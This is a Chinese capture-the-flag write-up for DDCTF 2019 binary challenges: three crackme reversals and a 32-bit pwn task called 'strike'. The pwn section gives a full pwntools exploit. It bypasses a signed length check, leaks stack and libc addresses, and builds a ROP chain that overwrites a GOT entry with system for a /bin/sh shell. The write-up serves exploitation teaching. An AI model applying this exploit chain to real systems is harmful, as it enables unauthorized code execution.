DDCTF-Bin部分wp

Reverse1

查看文件,發現是upx殼,我們用命令直接脫殼

thunder@thunder-PC:~/Desktop/CTF/reverse/DDCTF2019$ file reverse1_final.exe 
reverse1_final.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
thunder@thunder-PC:~/Desktop/CTF/reverse/DDCTF2019$ upx -d reverse1_final.exe 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
      7680 <-      5632   73.33%    win32/pe     reverse1_final.exe

Unpacked 1 file.

我們脫完殼發現不能直接運行程序,我們可以使用PE Tools來關閉程序的ASLR即可運行

在這裏插入圖片描述

我們修改可選頭中的DLL特徵碼

在這裏插入圖片描述

把DLL可以移動勾去掉即可運行程序

在這裏插入圖片描述

然後我們直接用IDA打開,找到關鍵函數

在這裏插入圖片描述

我們的輸入經過check函數變化之後和DDCTF{reverseME}相同則成功,可以查看check函數,IDA對這裏的識別不是很好,我們直接用OD調試

在這裏插入圖片描述
這裏可以看到我們的輸入和byte_402FF8內存的數據進行置換,我們用OD動態查看這塊數據

在這裏插入圖片描述
我們找到映射關係即可寫出exp

#include<stdio.h>
#include<string.h>

int main()
{
    char key[] = "DDCTF{reverseME}";
    for(int i=0;i<strlen(key);i++)
    {
        key[i] = 158 - key[i];
        printf("%c",key[i]);
    }
    return 0;
}

或者用IDApython來寫,參考官方wp

from ida_bytes import get_bytes
data = get_bytes(0x403018,0x403078-0x403018)
r = "DDCTF{reverseME}"
s = ""
for i in range(len(r)):
  s += chr(data.index(r[i])+0x403018-0x402ff8)
print(s)

測試結果

C:\Users\Thunder_J>D:\DDCTF\reverse1\reverse1_upacked.exe
please input code:ZZ[JX#,9(9,+9QY!
You've got it!!DDCTF{reverseME}

Reverse2

查看程序發現有殼
在這裏插入圖片描述
我們用WASPACK進行脫殼,拖入IDA分析,可以看到有兩處check

在這裏插入圖片描述
第一處check判斷我們的輸入是否爲16進制的數據,並且輸入爲偶數

在這裏插入圖片描述

第二處check將我們的輸入判斷是字母還是數字,然後依次將字符轉換爲數值,存入v10後進入下一個函數

在這裏插入圖片描述
返回函數主要進行三次移位操作,然後根據索引表取出數據,然後異或0x76,索引表異或0x76的值和base64的索引表相同,三次位移操作又可以聯想到base64加密,所以這裏就是一個base64加密,具體也可以用OD動態調試可以看出

在這裏插入圖片描述
最後的flag也就是reverse+進行base64解密,但是最後加密完的字符需要全爲大寫,腳本如下:

import base64
import binascii

s = "reverse+"

a =  base64.b64decode(s)

print binascii.b2a_hex(a).upper()

測試結果

C:\Users\Thunder_J >D:\DDCTF\reverse2\reverse2_final.exe
input code:ADEBDEAEC7BE
You've got it !!! DDCTF{reverse+}

Confused

首先程序是mac下的,但是不要怕,我們直接逆xia0Crackme就行了,進去之後一堆看不懂的API,但是可以看到有一個checkcode的函數,我們進去看關鍵判斷函數

在這裏插入圖片描述
函數內容如下

__int64 __fastcall sub_1000011D0(__int64 a1)
{
  char v2; // [rsp+20h] [rbp-C0h]
  __int64 v3; // [rsp+D8h] [rbp-8h]

  v3 = a1;
  memset(&v2, 0, 0xB8uLL);
  sub_100001F60((__int64)&v2, a1);
  return (unsigned int)sub_100001F00(&v2);
}

跟進sub_100001F60函數發現一堆賦值

__int64 __fastcall sub_100001F60(__int64 a1, __int64 a2)
{
  *(_DWORD *)a1 = 0;
  *(_DWORD *)(a1 + 4) = 0;
  *(_DWORD *)(a1 + 8) = 0;
  *(_DWORD *)(a1 + 12) = 0;
  *(_DWORD *)(a1 + 16) = 0;
  *(_DWORD *)(a1 + 176) = 0;
  *(_BYTE *)(a1 + 32) = -16;
  *(_QWORD *)(a1 + 40) = sub_100001D70;
  *(_BYTE *)(a1 + 48) = -15;
  *(_QWORD *)(a1 + 56) = sub_100001A60;
  *(_BYTE *)(a1 + 64) = -14;
  *(_QWORD *)(a1 + 72) = sub_100001AA0;
  *(_BYTE *)(a1 + 80) = -12;
  *(_QWORD *)(a1 + 88) = sub_100001CB0;
  *(_BYTE *)(a1 + 96) = -11;
  *(_QWORD *)(a1 + 104) = sub_100001CF0;
  *(_BYTE *)(a1 + 112) = -13;
  *(_QWORD *)(a1 + 120) = sub_100001B70;
  *(_BYTE *)(a1 + 128) = -10;
  *(_QWORD *)(a1 + 136) = sub_100001B10;
  *(_BYTE *)(a1 + 144) = -9;
  *(_QWORD *)(a1 + 152) = sub_100001D30;
  *(_BYTE *)(a1 + 160) = -8;
  *(_QWORD *)(a1 + 168) = sub_100001C60;
  qword_100003F58 = malloc(0x400uLL);
  return __memcpy_chk((char *)qword_100003F58 + 48, a2, 18LL, -1LL);
}

繼續查看sub_100001F00函數,發現需要根據條件循環,這裏可以聯想到虛擬指令,對於虛擬指令這篇文章寫的比較好:

https://www.52pojie.cn/forum.php?mod=viewthread&tid=860237&page=1

__int64 __fastcall sub_100001F00(__int64 a1)
{
  *(_QWORD *)(a1 + 24) = (char *)&loc_100001980 + 4;
  while ( **(unsigned __int8 **)(a1 + 24) != 243 )
    sub_100001E50(a1);
  free(qword_100003F58);
  return *(unsigned int *)(a1 + 176);
}

這裏借用40K0師傅的IDA分析文件來分析,虛擬指令的結構體如下

00000000 vm_struc        struc ; (sizeof=0xB4, mappedto_59)
00000000 eax_            dd ?
00000004 ebx_            dd ?
00000008 ecx_            dd ?
0000000C edx_            dd ?
00000010 flag            dd ?
00000014 field_14        dd ?
00000018 pc              dq ?
00000020 code_F0         dq ?
00000028 mov_reg_imm     dq ?
00000030 code_F1         dq ?
00000038 xor_eax_ebx     dq ?
00000040 code_F2         dq ?
00000048 cmp_eax_imm     dq ?
00000050 code_F4         dq ?
00000058 add_eax_ebx     dq ?
00000060 code_F5         dq ?
00000068 sub_eax_ebx     dq ?
00000070 code_F3         dq ?
00000078 nop             dq ?
00000080 code_F6         dq ?
00000088 jz_imm          dq ?
00000090 code_F7         dq ?
00000098 mov_buf_imm     dq ?
000000A0 code_F8         dq ?
000000A8 enc_eax_2       dq ?
000000B0 buffer          dd ?
000000B4 vm_struc        ends

我們定到sub_100001F60函數,也就是賦值的函數,可以看到這裏是初始化的地方

__int64 __fastcall init_vm(vm_struc *a1, char *input)
{
  a1->eax_ = 0;
  a1->ebx_ = 0;
  a1->ecx_ = 0;
  a1->edx_ = 0;
  a1->flag = 0;
  a1->buffer = 0;
  LOBYTE(a1->code_F0) = -16;                    // eip指向opcode的位置
  a1->mov_reg_imm = mov_reg_imm;                // mov 立即數到寄存器,操作字節碼與函數關聯在一起
  LOBYTE(a1->code_F1) = -15;
  a1->xor_eax_ebx = xor_eax_ebx;

  LOBYTE(a1->code_F2) = -14;
  a1->cmp_eax_imm = cmp_eax_imm;
  LOBYTE(a1->code_F4) = -12;
  a1->add_eax_ebx = add_eax_ebx;
  LOBYTE(a1->code_F5) = -11;
  a1->sub_eax_ebx = sub_eax_ebx;
  LOBYTE(a1->code_F3) = -13;
  a1->nop = nop;
  LOBYTE(a1->code_F6) = -10;
  a1->jz_imm = jz_imm;
  LOBYTE(a1->code_F7) = -9;
  a1->mov_buf_imm = mov_buf_imm;
  LOBYTE(a1->code_F8) = -8;
  a1->enc_eax_2 = enc_eax_2;                    // 凱撒密碼 key = 2
  buffer = malloc(0x400uLL);
  return __memcpy_chk((buffer + 48), input, 18LL, -1LL);
}

sub_100001F00函數則需要返回正確,如下所示

__int64 __fastcall equal_to_1(vm_struc *a1)
{
  a1->pc = &loc_100001980 + 4;                  // a1 = vm
  while ( *a1->pc != 0xF3 )
    run(a1);
  free(buffer);
  return a1->buffer;                           
}

也就是說,我們需要按照loc_100001980處的索引表來運行,也就是下表,運行到0xF3則停止

data = [0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x30, 0xF6, 0xC1, 0xF0, 0x10, 0x63, 0x00, 0x00, 
        0x00, 0xF8, 0xF2, 0x31, 0xF6, 0xB6, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x32, 0xF6, 
        0xAB, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x33, 0xF6, 0xA0, 0xF0, 0x10, 0x6D, 0x00, 
        0x00, 0x00, 0xF8, 0xF2, 0x34, 0xF6, 0x95, 0xF0, 0x10, 0x57, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x35, 
        0xF6, 0x8A, 0xF0, 0x10, 0x6D, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x36, 0xF6, 0x7F, 0xF0, 0x10, 0x73, 
        0x00, 0x00, 0x00, 0xF8, 0xF2, 0x37, 0xF6, 0x74, 0xF0, 0x10, 0x45, 0x00, 0x00, 0x00, 0xF8, 0xF2, 
        0x38, 0xF6, 0x69, 0xF0, 0x10, 0x6D, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x39, 0xF6, 0x5E, 0xF0, 0x10, 
        0x72, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3A, 0xF6, 0x53, 0xF0, 0x10, 0x52, 0x00, 0x00, 0x00, 0xF8, 
        0xF2, 0x3B, 0xF6, 0x48, 0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3C, 0xF6, 0x3D, 0xF0, 
        0x10, 0x63, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3D, 0xF6, 0x32, 0xF0, 0x10, 0x44, 0x00, 0x00, 0x00, 
        0xF8, 0xF2, 0x3E, 0xF6, 0x27, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3F, 0xF6, 0x1C, 
        0xF0, 0x10, 0x79, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x40, 0xF6, 0x11, 0xF0, 0x10, 0x65, 0x00, 0x00, 
        0x00, 0xF8, 0xF2, 0x41, 0xF6, 0x06, 0xF7, 0x01, 0x00, 0x00, 0x00, 0xF3, 0xF7, 0x00, 0x00, 0x00, 
        0x00, 0xF3, 0x5D, 0xC3, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00]

翻譯過來大概流程如下

1
mov_reg_imm 0x66
enc_eax_2
cmp_eax_imm 0x30
jz_imm 0xC1

2
mov_reg_imm 0x63
enc_eax_2
cmp_eax_imm 0x31
jz_imm 0xB6

3
mov_reg_imm 0x6A
enc_eax_2
cmp_eax_imm 0x32
jz_imm 0xAB
…
(循環18次)

也就是說這個程序流程是很有規律的,然而enc_eax_2函數的內容如下,是一個典型的凱撒密碼

__int64 __fastcall sub_100001B80(char a1, int a2)
{
  bool v3; // [rsp+7h] [rbp-11h]
  bool v4; // [rsp+Fh] [rbp-9h]
  char v5; // [rsp+17h] [rbp-1h]

  v4 = 0;
  if ( a1 >= 'A' )
    v4 = a1 <= 'Z';
  if ( v4 )
  {
    v5 = (a2 + a1 - 'A') % 26 + 'A';
  }
  else
  {
    v3 = 0;
    if ( a1 >= 'a' )
      v3 = a1 <= 'z';
    if ( v3 )
      v5 = (a2 + a1 - 'a') % 26 + 'a';
    else
      v5 = a1;
  }
  return v5;
}

我們就可以根據每一組一開始mov的字符串ASCII加2即可看出flag,如第一組0x66爲字符串 f ,轉化之後爲 h ,依次下去就可以得到flag

[PWN] strike

拿到程序先檢查一下保護

thunder@thunder-PC:~/Desktop/CTF/pwn/DDCTF$ checksec xpwn
[*] '/home/thunder/Desktop/CTF/pwn/DDCTF/xpwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

運行發現要我們輸入名字,密碼長度和密碼,載入IDA進行分析

int __cdecl main(int a1)
{
  int v1; // eax
  char buf; // [esp+0h] [ebp-4Ch]
  size_t nbytes; // [esp+40h] [ebp-Ch]
  int *v5; // [esp+44h] [ebp-8h]

  v5 = &a1;
  setbuf(stdout, 0);
  sub_80485DB(stdin, stdout);
  sleep(1u);
  printf("Please set the length of password: ");
  nbytes = sub_804862D();
  if ( (signed int)nbytes > 63 )                // 有符號整數,存在溢出
  {
    puts("Too long!");
    exit(1);
  }
  printf("Enter password(lenth %u): ", nbytes);
  v1 = fileno(stdin);
  read(v1, &buf, nbytes);
  puts("All done, bye!");
  return 0;
}

先分析 sub_80485DB 可以看到這裏沒有 ‘\x00’ 截斷,可以泄露棧地址和libc地址,read函數只讀了0x40的大小

int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
  int v2; // eax
  char buf; // [esp+0h] [ebp-48h]

  printf("Enter username: ");
  v2 = fileno(stream);
  read(v2, &buf, 0x40u);
  return fprintf(a2, "Hello %s", &buf);
}

下面的 sub_804862D 函數主要是轉換一下輸入,nptr在bss段無法利用,所以這裏並沒有可以利用的地方

int sub_804862D()
{
  int v0; // eax

  v0 = fileno(stdin);
  read(v0, nptr, 0x10u);
  return atoi(nptr);
}

可以看到主函數中 nbytes 是符號整形,限制了nbytes的大小必須小於63,由於長度受限,我不能直接溢出,但我們可以輸入長度時可以輸入 -1 進行繞過,這樣read就會將長度轉換爲無符號數,也就會變的很大,如下圖

thunder@thunder-PC:~/Desktop/CTF/pwn/DDCTF$ ./xpwn 
Enter username: aaaa
Hello aaaa
��Please set the length of password: -1 # 輸入 -1
Enter password(lenth 4294967295): bbb # 獲得了很大的空間
All done, bye!

我們爲什麼要獲得棧地址呢,因爲最後函數的返回值如下圖,是存在了 ecx-4 的地方,所以我們要通過劫持ecx來控制程序的流程,而不是直接溢出

.text:0804871D E8 1E FD FF FF    call    _read
.text:08048722 83 C4 10          add     esp, 10h
.text:08048725 83 EC 0C          sub     esp, 0Ch
.text:08048728 68 35 88 04 08    push    offset aAllDoneBye    ; "All done, bye!"
.text:0804872D E8 3E FD FF FF    call    _puts
.text:08048732 83 C4 10          add     esp, 10h
.text:08048735 B8 00 00 00 00    mov     eax, 0
.text:0804873A 8D 65 F8          lea     esp, [ebp-8]
.text:0804873D 59                pop     ecx
.text:0804873E 5B                pop     ebx
.text:0804873F 5D                pop     ebp
.text:08048740 8D 61 FC          lea     esp, [ecx-4]
.text:08048743 C3                retn

第一處偏移調試如下

thunder@thunder-PC:~/Desktop/CTF/pwn/DDCTF$ gdb xpwn
...
pwndbg> b *0x08048610
Breakpoint 1 at 0x8048610
pwndbg> r
Starting program: /home/thunder/Desktop/CTF/pwn/DDCTF/xpwn 
Enter username: aaaa

Breakpoint 1, 0x08048610 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────
 EAX  0x5
 EBX  0x0
 ECX  0xffffbd00 ◂— 0x61616161 ('aaaa')
 EDX  0x40
 EDI  0x0
 ESI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
 EBP  0xffffbd48 —▸ 0xffffbdb8 ◂— 0x0
 ESP  0xffffbcf0 ◂— 0x0
 EIP  0x8048610 ◂— add    esp, 0x10
────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────
 ► 0x8048610    add    esp, 0x10
   0x8048613    sub    esp, 4
   0x8048616    lea    eax, [ebp - 0x48]
   0x8048619    push   eax
   0x804861a    push   0x80487e1
   0x804861f    push   dword ptr [ebp + 0xc]
   0x8048622    call   fprintf@plt <0x80484a0>
 
   0x8048627    add    esp, 0x10
   0x804862a    nop    
   0x804862b    leave  
   0x804862c    ret    
────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffbcf0 ◂— 0x0
01:0004│      0xffffbcf4 —▸ 0xffffbd00 ◂— 0x61616161 ('aaaa')
02:0008│      0xffffbcf8 ◂— 0x40 /* '@' */
03:000c│      0xffffbcfc ◂— 0x0
04:0010│ ecx  0xffffbd00 ◂— 0x61616161 ('aaaa')
05:0014│      0xffffbd04 —▸ 0x804820a ◂— add    byte ptr [eax], al
06:0018│      0xffffbd08 ◂— 0xc2
07:001c│      0xffffbd0c ◂— 0x0
──────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► f 0  8048610
   f 1  80486a3
   f 2 f7df0e81 __libc_start_main+241
Breakpoint *0x08048610
pwndbg> stack
00:0000│ esp  0xffffbcf0 ◂— 0x0
01:0004│      0xffffbcf4 —▸ 0xffffbd00 ◂— 0x61616161 ('aaaa')
02:0008│      0xffffbcf8 ◂— 0x40 /* '@' */
03:000c│      0xffffbcfc ◂— 0x0
04:0010│ ecx  0xffffbd00 ◂— 0x61616161 ('aaaa')
05:0014│      0xffffbd04 —▸ 0x804820a ◂— add    byte ptr [eax], al
06:0018│      0xffffbd08 ◂— 0xc2
07:001c│      0xffffbd0c ◂— 0x0
pwndbg> 
08:0020│   0xffffbd10 —▸ 0xf7fdf3f9 (do_lookup_x+9) ◂— add    ebx, 0x1dc07
09:0024│   0xffffbd14 —▸ 0xf7de5318 ◂— inc    ebx /* 'C,' */
0a:0028│   0xffffbd18 —▸ 0xf7e3f85b (setbuffer+11) ◂— add    edi, 0x16d7a5
0b:002c│   0xffffbd1c ◂— 0x0
0c:0030│   0xffffbd20 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
0d:0034│   0xffffbd24 ◂— 0x0
0e:0038│   0xffffbd28 —▸ 0xffffbdb8 ◂— 0x0
0f:003c│   0xffffbd2c —▸ 0xf7e45e45 (setbuf+21) ◂— add    esp, 0x1c
pwndbg> 
10:0040│      0xffffbd30 —▸ 0xf7fadd80 (_IO_2_1_stdout_) ◂— 0xfbad2887
11:0044│      0xffffbd34 ◂— 0x0
12:0048│      0xffffbd38 ◂— 0x2000
13:004c│      0xffffbd3c —▸ 0xf7e45e30 (setbuf) ◂— sub    esp, 0x10
14:0050│      0xffffbd40 —▸ 0xf7fadd80 (_IO_2_1_stdout_) ◂— 0xfbad2887
15:0054│      0xffffbd44 —▸ 0xf7ffd940 ◂— 0x0
16:0058│ ebp  0xffffbd48 —▸ 0xffffbdb8 ◂— 0x0
17:005c│      0xffffbd4c —▸ 0x80486a3 ◂— add    esp, 0x10

可以看到我們的輸入在ecx的位置,而0xffffbd28 處的值和ebp一樣,我們送 0x38-0x10 = 0x28大小的padding即可獲得ebp的值,我們構造ebp-0x4c+4然後覆蓋到push ecx那個地方就能劫持控制流了。最終的exp如下

from pwn import *

r = process('./xpwn')
elf = ELF('./xpwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#r = remote("116.85.48.105","5005")

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
    gdb.attach(r)

pop1_ret = 0x8048411
pop3_ret = 0x80487a9

r.recvuntil('Enter username: ')

r.send('a'*0x28)

r.recvuntil('a'*0x28)

stack_addr = u32(r.recv(4))

success('Stack address is : ' + hex(stack_addr))

r.recvuntil('password: ')

r.sendline('-1')

r.recvuntil(': ')

payload = p32(elf.symbols['puts']) + p32(pop1_ret) + p32(elf.got['puts']) 
payload += p32(elf.symbols['read']) + p32(pop3_ret) + p32(0) + p32(elf.got['sleep']) + p32(0xc)
payload += p32(elf.symbols['sleep'])+ p32(0xdeadbeef) 
payload += p32(elf.got['sleep']+0x4)
payload = payload.ljust(0x44,'\x90')
payload += p32(stack_addr-0x4c + 0x4)

r.send(payload)

print r.recvline() 

puts_addr = u32(r.recv(numb=4))

success('puts addr : ' + hex(puts_addr))

system_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
payload2 = p32(system_addr) 
payload2 += "/bin/sh\x00" 
r.send(payload2)

r.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章